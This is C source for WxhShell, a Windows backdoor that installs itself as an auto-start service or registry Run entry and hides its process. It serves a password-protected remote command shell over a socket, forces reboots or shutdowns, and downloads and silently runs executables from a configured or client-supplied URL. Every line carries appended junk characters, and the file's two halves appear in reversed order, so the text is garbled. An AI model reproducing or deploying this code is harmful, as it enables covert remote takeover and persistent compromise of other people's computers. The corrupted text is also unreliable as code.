  case 'd': { .0^-a=/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >D'Kt?L<]m  
    if(Boot(SHUTDOWN)) o.-rdP0P>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ydFZ$W_}w  
    else { CCp&P5[67  
    closesocket(wsh); "I.PV$Rxl  
    ExitThread(0); yM(zc/?  
    } >, 22@4  
    break; <t[WHDO`  
    } S'"(zc3 =  
  // 获取shell :_F$e  
  case 's': { L7i^?40  
    CmdShell(wsh); L=zt\L  
    closesocket(wsh); QF 2Eg  
    ExitThread(0); l n}2   
    break; ^DZ(T+q,  
  } #?h#R5:0  
  // 退出 wIT0A-Por4  
  case 'x': { NYb eIfL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4#H~g @  
    CloseIt(wsh); m:@-]U@ 6  
    break; noz&4"S.{  
    } SenDJv00  
  // 离开 8':^tMd  
  case 'q': { =sVB.P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F6 ?4E"d  
    closesocket(wsh); ,#Y>nP0  
    WSACleanup(); 595P04  
    exit(1); ?ysC7 ((  
    break; KrNu7/H  
        } (vHB`@x  
  } ;<qv-$P  
  } Dk&@AjJga  
PS ,@ \  
  // 提示信息 G|5M~zP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  p]z *  
} XBi}hT  
  } P)h e3  
C FqteY"  
  return; u Ey>7I  
} 9Tbi_6[  
F)x^AJi e  
// shell模块句柄 5[\mwUA  
int CmdShell(SOCKET sock) J)R;NYl  
{ E>xd*23+\  
STARTUPINFO si; w>M8 FG(4]  
ZeroMemory(&si,sizeof(si));  #P8R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m4FT^ ^3yE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pUV3n 1{2  
PROCESS_INFORMATION ProcessInfo; ~Xa8\>  
char cmdline[]="cmd"; *^cJn*QeL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bnS"@^M  
  return 0; e)I-|Q4^%  
} l_ /q/8-l  
go^?F- dZ  
// 自身启动模式 IyvJwrO  
int StartFromService(void) sBozz#  
{ 7Ddo ^Gtx  
typedef struct 9z)p*+r UK  
{ gc|?$aE  
  DWORD ExitStatus; 4Eq$f (QJ  
  DWORD PebBaseAddress; |fYr*8rH  
  DWORD AffinityMask; dq$H^BB+>  
  DWORD BasePriority; P[NAO>&tX  
  ULONG UniqueProcessId; iXl6XwWT%8  
  ULONG InheritedFromUniqueProcessId; .6I*=qv)NA  
}   PROCESS_BASIC_INFORMATION; L[4Su;D  
'xO5Le(=M  
PROCNTQSIP NtQueryInformationProcess; >U/ m/H'  
#sLyU4QV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )%D2JC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qs(WyP#  
Un{hI`3]  
  HANDLE             hProcess; 5.st!Lp1  
  PROCESS_BASIC_INFORMATION pbi; ,1-n=eTQ  
&m@~R|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1&_9 3  
  if(NULL == hInst ) return 0; E3bS Q  
35 /)S@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [gK (x%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~V,~' W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e.X*x4*>~  
9|19ia@[\  
  if (!NtQueryInformationProcess) return 0; 8*O]  
9H$$Og  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }*4K{<02  
  if(!hProcess) return 0; |TCHPKN  
6|q\ M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qs24b  
NYS |fa  
  CloseHandle(hProcess); rdK=f<I]  
}:NE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2, bo  
if(hProcess==NULL) return 0; :CH?,x^!@  
 WW5AD$P*  
HMODULE hMod; * !4r}h`  
char procName[255]; ? OrRTRW  
unsigned long cbNeeded; zd1X(e<|{  
f=0U&~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H^UuT  
bB01aiUw@l  
  CloseHandle(hProcess); eJWcrVpn  
/b3b0VfF  
if(strstr(procName,"services")) return 1; // 以服务启动 \^7D% a=;C  
TiiMX  
  return 0; // 注册表启动 +:@lde]/p  
} GabY xYK  
9d7`R'  
// 主模块 F' eV%g  
int StartWxhshell(LPSTR lpCmdLine) mj\]oWS7d  
{ !RX7TYf  
  SOCKET wsl; <5oG[1j  
BOOL val=TRUE; ;| (_;d  
  int port=0; [l;9](\8O  
  struct sockaddr_in door; >z&|<H%  
,^]yU?eU  
  if(wscfg.ws_autoins) Install(); >fCz,.L  
M'Ec:p=X"  
port=atoi(lpCmdLine); d@o1< Q  
`~${fs{-`/  
if(port<=0) port=wscfg.ws_port; /yRP>CX~  
l/|bU9o /u  
  WSADATA data; E1p?v!   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2D,EWk/4  
K5; /  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {(o$? =  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U-uBz4Gha  
  door.sin_family = AF_INET; %`rZ]^H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N_#QS}H  
  door.sin_port = htons(port); TL%2?'G  
oA_T9uh[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .Y;ljQ  
closesocket(wsl); {<\[gm\X  
return 1; -)S(eqq1  
} g=8}G$su{%  
>]DnEF&  
  if(listen(wsl,2) == INVALID_SOCKET) { @.JhL[f  
closesocket(wsl); @EPO\\C"f  
return 1; u;{,,ct  
} .<GU2&;!  
  Wxhshell(wsl); sn.Xvk%75  
  WSACleanup(); xx^7  
ZM:!LkK  
return 0; 37:\X5)z/  
gQXB=ywF  
} #=>t6B4af  
XYeuYLut  
// 以NT服务方式启动 Aqi9@BH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~_XJ v  
{ s,KE,$5F   
DWORD   status = 0; x3dP`<   
  DWORD   specificError = 0xfffffff; 9?4EM^ -  
 Fu@2gd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V\C$/8v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y!M&8;>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e!+_U C  
  serviceStatus.dwWin32ExitCode     = 0; Hzd tR  
  serviceStatus.dwServiceSpecificExitCode = 0; $kc*~V~   
  serviceStatus.dwCheckPoint       = 0; okl*pA)  
  serviceStatus.dwWaitHint       = 0; /eZ UAxq  
N~<H`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n2<#]2h  
  if (hServiceStatusHandle==0) return; +YS0yTWeX  
Gag=GHG  
status = GetLastError(); $j ZU(<4,  
  if (status!=NO_ERROR) f$\gm+&hXE  
{ ~7$NVKE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RtE2%d$JT  
    serviceStatus.dwCheckPoint       = 0; =D1%-ym  
    serviceStatus.dwWaitHint       = 0; Hchh2  
    serviceStatus.dwWin32ExitCode     = status; Sb9O#$89  
    serviceStatus.dwServiceSpecificExitCode = specificError; bf9LR1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "mBX$t'gb  
    return; "YUh4uZ~P  
  } :fxG]uf-P  
1 uKWvp0\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o;d><  
  serviceStatus.dwCheckPoint       = 0; #!a}ZhIt  
  serviceStatus.dwWaitHint       = 0; fu}ZOPu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +W{ELdup%q  
} Het5{Yb.  
h[%t7qo=  
// 处理NT服务事件,比如:启动、停止 3%"r%:fQB/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bV'^0(Zv  
{ @vy {Q7aM  
switch(fdwControl) z?9vbx  
{  BKiyog  
case SERVICE_CONTROL_STOP: Y|NL #F  
  serviceStatus.dwWin32ExitCode = 0; 8efQ -^b.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /hNZ7\|P  
  serviceStatus.dwCheckPoint   = 0; @zz4,,]  
  serviceStatus.dwWaitHint     = 0; T B!z:n  
  { _[eAA4h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;r**`O  
  } ,-55*Rbi  
  return; .Xq4QR .  
case SERVICE_CONTROL_PAUSE: 7'pmW,;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n/>^!S  
  break; @k"Q e&BQ  
case SERVICE_CONTROL_CONTINUE: ncF|wz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^e<"`e  
  break; Pz=x$aY  
case SERVICE_CONTROL_INTERROGATE: U$-;^=;  
  break; "r:i  
}; D^R=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G-5 4D_ 4  
} f{m,?[1C,  
x/Nh9hh"  
// 标准应用程序主函数 ]HpKDb0+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HAkEJgV  
{ C`p)S`d  
BtPUUy.  
// 获取操作系统版本 7q%<JZPY  
OsIsNt=GetOsVer(); !uoQLiH+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V3^=Mj2"  
R]s\s[B  
  // 从命令行安装 E{Gkq:  
  if(strpbrk(lpCmdLine,"iI")) Install(); # p?7{"Ep  
qUZm6)p6[a  
  // 下载执行文件 v,=[!=8!  
if(wscfg.ws_downexe) { Sr9)i8x{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c^4^z"Mo`  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,wyfMOGLt  
} X {["4  
WcG!6.U>  
if(!OsIsNt) { F|rJ{=x  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;q8tOvQ  
HideProc(); s8/sH];  
StartWxhshell(lpCmdLine); gM0^k6bB8  
} _kgGz@/p  
else P|:*OM p  
  if(StartFromService()) ~+JE l%  
  // 以服务方式启动 XAn{xN pz  
  StartServiceCtrlDispatcher(DispatchTable); ucVWvXCr  
else Ezvm5~<  
  // 普通方式启动 xaM? B7  
  StartWxhshell(lpCmdLine); o@p(8=x  
PYOU=R%o`8  
return 0; U}6F B =  
} r-r)'AAO  
B4/0t:^I  
? iX1;c9  
AGH7z  
=========================================== C( ay7  
Lq-Di|6q  
a\UhOPFF  
$?Et sf#*'  
YY&3M  
13:yaRo  
" \Mi] !b|8  
+PCsp'D d  
#include <stdio.h> )_MIUQ%  
#include <string.h> =LFrV9  
#include <windows.h> Z#2AK63/T  
#include <winsock2.h> W7j-siWJ  
#include <winsvc.h> '1$#onx  
#include <urlmon.h> `|[" {j}^  
_fVC\18T  
#pragma comment (lib, "Ws2_32.lib") e)(m0m\  
#pragma comment (lib, "urlmon.lib") ]~')OSjw  
%XpYiW#AK  
#define MAX_USER   100 // 最大客户端连接数 ?gq',F FDq  
#define BUF_SOCK   200 // sock buffer qWQ7:*DL  
#define KEY_BUFF   255 // 输入 buffer |L@9qwF  
8Wa&&YTB  
#define REBOOT     0   // 重启 ))pp{X2m  
#define SHUTDOWN   1   // 关机 mt0ZD}E  
:X?bWxOJ  
#define DEF_PORT   5000 // 监听端口 s+=JT+g  
<`'^rCWI?  
#define REG_LEN     16   // 注册表键长度 &#AK#`&)0i  
#define SVC_LEN     80   // NT服务名长度 .7BB*!CP  
[P,/J$v^~  
// 从dll定义API Ap{2*o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RpAtd^I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P3due|4M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MzF9 &{N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;AFF7N>&  
z%F68 f73  
// wxhshell配置信息 LC!ZeW35  
struct WSCFG { x vi&d1  
  int ws_port;         // 监听端口 bIX'|=  
  char ws_passstr[REG_LEN]; // 口令 YivWvV  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ar+<n 2;[  
  char ws_regname[REG_LEN]; // 注册表键名 ]>K02SVT:  
  char ws_svcname[REG_LEN]; // 服务名 nA!Xb'y&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ) <lpI';T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dHcGe{T^(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +<^TyIJ0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ][ ,NNXrc&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :s Mc}k?9S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zF& >1y.$  
cY}Nr#%s@U  
}; q ;@:,^  
k 5<[N2D|!  
// default Wxhshell configuration #4WA2EW  
struct WSCFG wscfg={DEF_PORT, 7\BGeI  
    "xuhuanlingzhe",  qep<7 QO  
    1, j3!]wolY  
    "Wxhshell", 5]Wkk~a  
    "Wxhshell", =,*4:TU  
            "WxhShell Service", }]qx "  
    "Wrsky Windows CmdShell Service", 5`ma#_zk|f  
    "Please Input Your Password: ", x J;DkPh  
  1, ?~mw  
  "http://www.wrsky.com/wxhshell.exe", 1I'ep\`"X  
  "Wxhshell.exe" aS7[s6  
    }; Ly0U')D:  
A.mIqu,:  
// 消息定义模块 \Ty%E<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `=]I -5#.W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /K#t$O4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aYjFRH`  
char *msg_ws_ext="\n\rExit."; U9om}WKO  
char *msg_ws_end="\n\rQuit."; ,oW8im   
char *msg_ws_boot="\n\rReboot..."; 8gA:s`ofJ  
char *msg_ws_poff="\n\rShutdown..."; F-=W7 D:[c  
char *msg_ws_down="\n\rSave to "; IT`r&;5  
%cDTy]ILu  
char *msg_ws_err="\n\rErr!"; )N) "O? W9  
char *msg_ws_ok="\n\rOK!"; I+) Acy;  
HMUn+kk+  
char ExeFile[MAX_PATH]; .js@F/H p  
int nUser = 0; Iw ? M>'l  
HANDLE handles[MAX_USER]; +sTZ) 5vQ  
int OsIsNt; =4;GIiF@  
?0UzmJV?8  
SERVICE_STATUS       serviceStatus; o'W[v0> L-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x?ajTzMv  
ty8\@l  
// 函数声明 t/6t{*-w  
int Install(void); =uZOpeviQ  
int Uninstall(void); 9w-V +Nf  
int DownloadFile(char *sURL, SOCKET wsh); ;2m<#~@0  
int Boot(int flag); 0A~zu K  
void HideProc(void); EW* 's(  
int GetOsVer(void); PV2cZ/  
int Wxhshell(SOCKET wsl); jLULf+ 8&  
void TalkWithClient(void *cs); hL\gI(B  
int CmdShell(SOCKET sock); iU5Aj:U3  
int StartFromService(void); 7p}.r J54  
int StartWxhshell(LPSTR lpCmdLine); uZyR{~-C  
VfJbexYT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i;1EXM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x5Sc+5?*  
# j_<iy  
// 数据结构和表定义 zh hH A9  
SERVICE_TABLE_ENTRY DispatchTable[] = uT5sLpA|6  
{ UMg*Yv%  
{wscfg.ws_svcname, NTServiceMain}, t~xp&LQiY  
{NULL, NULL} [:HT=LX3  
}; ]-o0HY2  
zSYh\g"  
// 自我安装 ZMSP8(V  
int Install(void) 0]dL;~0y.  
{ q@;z((45  
  char svExeFile[MAX_PATH]; ''9FB5  
  HKEY key; k1A64?p  
  strcpy(svExeFile,ExeFile); ~W q[H  
J?ljq A}i  
// 如果是win9x系统,修改注册表设为自启动 *siN#,5  
if(!OsIsNt) { LL~bq(b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r?e)2l~C8j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a@&^t(1  
  RegCloseKey(key); * /S=9n0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =O qw`jw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1/t}>>,M  
  RegCloseKey(key); J%?'Q{  
  return 0; @"jV^2oY1  
    } $<)k-Cf  
  } f IUz%YFn  
} H];QDix?  
else { yNk9KK)  
( }DCy23  
// 如果是NT以上系统,安装为系统服务 :*wnO;eN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jk0Ja@8PK  
if (schSCManager!=0) 7o$4ov;T  
{ l$%mZl  
  SC_HANDLE schService = CreateService GS^U6Xef  
  ( q%u;+/|l  
  schSCManager, u!([m; x|  
  wscfg.ws_svcname, su~_l[6  
  wscfg.ws_svcdisp, L#'B-G4&y  
  SERVICE_ALL_ACCESS, ~!c~jcq]lZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ' LT6%<|  
  SERVICE_AUTO_START, UR~9*`Z ,  
  SERVICE_ERROR_NORMAL, lGa'Y  
  svExeFile, anj*a<C<  
  NULL, ^(p}hSLAfQ  
  NULL, K0xZZ`  
  NULL, kLKd O0  
  NULL, ni#!Gxw  
  NULL z}'*zB>  
  ); hJ0)"OA5  
  if (schService!=0) H26'8e  
  { lY5a=mwHU  
  CloseServiceHandle(schService); 66"-Xf~u  
  CloseServiceHandle(schSCManager); v)(tB7&`=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >$]SYF29  
  strcat(svExeFile,wscfg.ws_svcname); f#:7$:{F1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g;U f?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i%7b)t[y  
  RegCloseKey(key); gt5  
  return 0; b??k|q  
    } ;C8'7  
  } &xF 2!t`  
  CloseServiceHandle(schSCManager); dU]>  
} !BHIp7p  
} 7d0E9t;W  
Zy2@1-z6  
return 1; Dm': D  
} 75`*aAZ3  
g)+45w*+5  
// 自我卸载 |Ew\Tgo/2  
int Uninstall(void) yQ> *F  
{ O>^0}  
  HKEY key; _zQ3sm  
c43" o  
if(!OsIsNt) { 6a G/=fq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H4'xxsx  
  RegDeleteValue(key,wscfg.ws_regname); ,*fvA?  
  RegCloseKey(key); W?m?r.K?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +>N/q(l  
  RegDeleteValue(key,wscfg.ws_regname); 6g@@V=mf  
  RegCloseKey(key); jP6;~[rl  
  return 0; .^^YS$%%7  
  } ;|v6^2H"  
} ]*+ozAG4  
} dB7E&"f  
else { }}v04~  
OiAi{ 71  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dq?q(_9  
if (schSCManager!=0) U$KdY _Z97  
{ KOWxP47b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O$B]#]L+  
  if (schService!=0) X]q,A5g  
  { aTC7H]e  
  if(DeleteService(schService)!=0) { 6N >ksqo8%  
  CloseServiceHandle(schService); mqGp]'{  
  CloseServiceHandle(schSCManager); x\j6=|  
  return 0; |2!/<%Yr`  
  } /U[Y w)  
  CloseServiceHandle(schService); ,,r%Y&:`6  
  } -b-Pvw4  
  CloseServiceHandle(schSCManager); )2mi6[qs0l  
} zO`54^  
} u]P0:)tS.  
STp}?Cb  
return 1; VIL #q  
} Ml8'=KN_  
\HF h?3-g  
// 从指定url下载文件  m?hC!n>  
int DownloadFile(char *sURL, SOCKET wsh) =)C}u6  
{ GeN8_i[  
  HRESULT hr; o >{+vwK  
char seps[]= "/"; XA{ tVh  
char *token; hQrO8T?2  
char *file; t#mW`rGE_  
char myURL[MAX_PATH]; hqVx%4s*J  
char myFILE[MAX_PATH]; &#Sg1$/+  
WF<0QH  
strcpy(myURL,sURL); ^ MkT">  
  token=strtok(myURL,seps); 6.|f iQs ]  
  while(token!=NULL) vyT$IdV2  
  { $~4ZuV%  
    file=token; Nko;I?Fn  
  token=strtok(NULL,seps); 8}m] XO  
  } GE=#8-@g~p  
Y'kD_T`f,  
GetCurrentDirectory(MAX_PATH,myFILE); + oyW_!(  
strcat(myFILE, "\\"); D .| h0gU  
strcat(myFILE, file); @AL,@P/9=  
  send(wsh,myFILE,strlen(myFILE),0); li\hHd5  
send(wsh,"...",3,0); & v=2u,]T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6sl*Ko[  
  if(hr==S_OK) Vin d\yvM  
return 0; G8"L #[~  
else SE{$a3`UzP  
return 1; pdsjX)O+f  
~DcX}VCm  
} o<locZ  
RLr;]j8cm  
// 系统电源模块 :h1itn  
int Boot(int flag) E,5jY  
{ Y+ P\5G  
  HANDLE hToken; r: n^U#  
  TOKEN_PRIVILEGES tkp; >:5/V0;,  
!<}<HR^ )  
  if(OsIsNt) { S|Wv1H>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j2 "j Cv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %VsuG A  
    tkp.PrivilegeCount = 1; <pRb#G"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J\XYUs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )DuOo83n["  
if(flag==REBOOT) { ws4a(1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hRSRz5 J}  
  return 0; t#oJr2  
} zzy%dc  
else { 3]0ETcT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MTBN&4[  
  return 0; ?G+v#?A  
} 9>d$a2 nc  
  } $I!vQbi  
  else { dkJ+*L5  
if(flag==REBOOT) { )El#Ks5u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #sy)-xM  
  return 0; 71nXROB  
} $+zev$f  
else { Q$G!-y+"i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |eWlB\ x8  
  return 0; e.n&Os<|<  
} ]~CG zV  
} @v_ )(  
N54U [sy  
return 1; 2@Jw?+}vr  
} fLAOA9  
c3]ZU^  
// win9x进程隐藏模块 jR\&2;T  
void HideProc(void) OOs Y{8xM  
{ fb4/LVg'J  
pUZe.S>G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '>_'gR0O  
  if ( hKernel != NULL ) nRN&u4  
  { {,|*99V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c&IIqT@Gb0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >V@-tT"^:  
    FreeLibrary(hKernel); XJDp%B  
  } -?' r_t  
Y<%$;fx$Sx  
return; i1ur>4Ns  
} " GkBX  
phwk0J]2  
// 获取操作系统版本 T?:Vw laE  
int GetOsVer(void) bcC ;i~9  
{ `gfh]7T  
  OSVERSIONINFO winfo; #, W7N_mt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0Pu$1Fp  
  GetVersionEx(&winfo); i[H`u,%+(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [2~Et+r6g  
  return 1; 8v\BW^z3  
  else xR q|W4ay  
  return 0; 8-UlbO6  
} PYPs64kNC]  
G+[hE|L~y  
// 客户端句柄模块 Vq2d+ ,fb  
int Wxhshell(SOCKET wsl) E(*RtOC<W  
{ d%NO_=I.  
  SOCKET wsh; 3i=+ [  
  struct sockaddr_in client; fmY=SqQG-  
  DWORD myID; m^@,0\F  
c?"#x-<1s  
  while(nUser<MAX_USER) 5;oWFl  
{ BV"7Wp;  
  int nSize=sizeof(client); +DaP XZ5.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l4u_Z:<w  
  if(wsh==INVALID_SOCKET) return 1; rePJ4i [y  
IQf:aX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2G<\Wz  
if(handles[nUser]==0) =o;8xKj  
  closesocket(wsh); &]3_ .C  
else $(K[W}  
  nUser++; puA~}6C  
  } h7f&7v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b=horvs/!  
d4t %/Uh  
  return 0; v^0D  
} ;*5$xs&=_Z  
w,> ceu/  
// 关闭 socket xDG8C39qrs  
void CloseIt(SOCKET wsh) [U.3rcT"N  
{ zMxHJNQ\D  
closesocket(wsh); wZ6LiYiHl  
nUser--; _so\h.lt  
ExitThread(0); v8W.84e-  
} @ U xO!  
FM$XMD0=  
// 客户端请求句柄 x;dyF_*;  
void TalkWithClient(void *cs) ?8X;F"Ba  
{ .;)7)%  
W0J d2*]  
  SOCKET wsh=(SOCKET)cs; XdjM/hB{fD  
  char pwd[SVC_LEN]; 0sM{yGu=,  
  char cmd[KEY_BUFF]; ER<LP@3k  
char chr[1]; G?)NDRM  
int i,j; n*{aN}auJ  
tSran  
  while (nUser < MAX_USER) { 9`]Gosz  
~VYZu=p  
if(wscfg.ws_passstr) { q">lP (t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *UhYX)J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uOUgU$%zqH  
  //ZeroMemory(pwd,KEY_BUFF); UJMM&  
      i=0; 4<[,"<G~3  
  while(i<SVC_LEN) { ?-%Q[W  
L|pMq!@J  
  // 设置超时 5&Al  
  fd_set FdRead; N^z4I,GV(  
  struct timeval TimeOut; kN_ i0~y@-  
  FD_ZERO(&FdRead); 8Yc'4v#}  
  FD_SET(wsh,&FdRead); 1Kszpt(Ld  
  TimeOut.tv_sec=8; ui%B|b&&  
  TimeOut.tv_usec=0; rT7W_[&P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WyciIO1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IA I!a1e!  
`,a6su (?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U27YH1OK  
  pwd=chr[0]; KtTv0[66  
  if(chr[0]==0xd || chr[0]==0xa) { &0cfTb)dG  
  pwd=0; Ey96XJV  
  break; 2*;qr|h,  
  } $2uk;&"?A=  
  i++; @i2"+_}*  
    } /iURP-rl  
3'tcEFkH  
  // 如果是非法用户,关闭 socket _#32hAI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p_%dH  
} HR'sMu3  
P t< JF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PJ}d-   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8 p D$/  
w3l2u1u  
while(1) { m#6RJbEz  
*g7BR`Bt]z  
  ZeroMemory(cmd,KEY_BUFF); j'r"_*%  
4P(muOS  
      // 自动支持客户端 telnet标准   X.}i9a 6  
  j=0; 'kU5  
  while(j<KEY_BUFF) { w]L^)_'Th  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3{c6)vR2  
  cmd[j]=chr[0]; =D-u".{  
  if(chr[0]==0xa || chr[0]==0xd) { R 6JHRd  
  cmd[j]=0; iB4`w\-o  
  break; D2}N6i  
  } Nini8@d  
  j++; pGZiADT  
    } ZtHTl\z  
iW u  
  // 下载文件 >s dT=6v  
  if(strstr(cmd,"http://")) { K(jo[S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k7,   
  if(DownloadFile(cmd,wsh)) U<<@(d%T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ozaM!ee\z  
  else PU8>.9x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rnAQwm-8O%  
  } xhcFZTj/(  
  else { hp|.hN(kS]  
;Aqj$ x  
